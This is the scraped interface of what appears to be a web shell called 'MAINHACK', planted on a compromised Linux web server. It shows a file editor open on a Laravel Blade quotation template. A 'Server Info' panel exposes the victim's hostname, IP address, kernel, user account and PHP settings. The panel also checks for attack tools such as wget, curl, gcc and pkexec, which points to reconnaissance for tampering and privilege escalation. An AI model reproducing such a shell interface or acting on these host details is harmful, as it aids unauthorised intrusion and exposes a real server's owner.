[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: quotation-template.blade.php
@extends('template') @section('title') <title>@lang('Quotation')</title> @endsection @section('receiver-info') <h1>@lang('Quotation')</h1> <p><strong>@lang('Name'):</strong> {{ $quotation['client']['name'] }}</p> @if ($quotation['client']['company_name']) <p><strong>@lang('Company'):</strong> {{ $quotation['client']['company_name'] }} </p> @endif <p><strong>@lang('Phone'):</strong> {{ $quotation['client']['phone'] }}</p> <p><strong>@lang('Email'):</strong> {{ $quotation['client']['email'] }}</p> @if ($quotation['client']['address']) <p><strong>@lang('Address'):</strong> {{ $quotation['client']['address'] }}</p> @endif @endsection @section('pdf-content') <table class="invoice-table"> <tr> <th>@lang('Quotation No')</th> @if ($quotation['reference']) <th>@lang('Reference')</th> @endif <th>Date</th> @if ($quotation['delivery_place']) <th>@lang('Delivery Place')</th> @endif </tr> <tr> <td>{{ config('config.quotationPrefix') . '-' . $quotation['quotation_no'] }}</td> @if ($quotation['reference']) <td>{{ $quotation['reference'] }}</td> @endif <td>{{ $quotation['quotation_date'] }}</td> @if ($quotation['delivery_place']) <td>{{ $quotation['delivery_place'] }}</td> @endif </tr> </table> <table class="invoice-table"> <tr> <th>@lang('Item')</th> <th>@lang('Quantity')</th> <th>@lang('Price')</th> <th>@lang('Subtotal')</th> </tr> @foreach ($quotation['quotationProducts'] as $key => $product) <tr> <td>{{ $product['product']['name'] }}</td> <td>{{ $product['quantity'] . ' ' . $product['product']['productUnit']['code'] }}</td> <td>@currency($product['unit_cost'])</td> <td class="text-right">@currency($product['unit_cost'] * $product['quantity'])</td> </tr> @endforeach <tr> <td class="total" colspan="3">@lang('Subtotal')</td> <td class="total">@currency($quotation['sub_total'])</td> </tr> @if ($quotation['transport']) <tr> <td class="total" colspan="3">@lang('Transport')</td> <td class="total">@currency($quotation['transport'])</td> </tr> @endif @if ($quotation['discount']) <tr> <td class="total" colspan="3">@lang('Discount')</td> <td class="total">@currency($quotation['discount'])</td> </tr> @endif @if ($quotation['total_tax']) <tr> <td class="total" colspan="3">@lang('TAX')</td> <td class="total">@currency($quotation['total_tax'])</td> </tr> @endif <tr> <td colspan="3" class="total">@lang('Total')</td> <td class="total">@currency($quotation['total_tax'] + $quotation['transport'] + $quotation['sub_total'] - $quotation['discount'])</td> </tr> </table> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002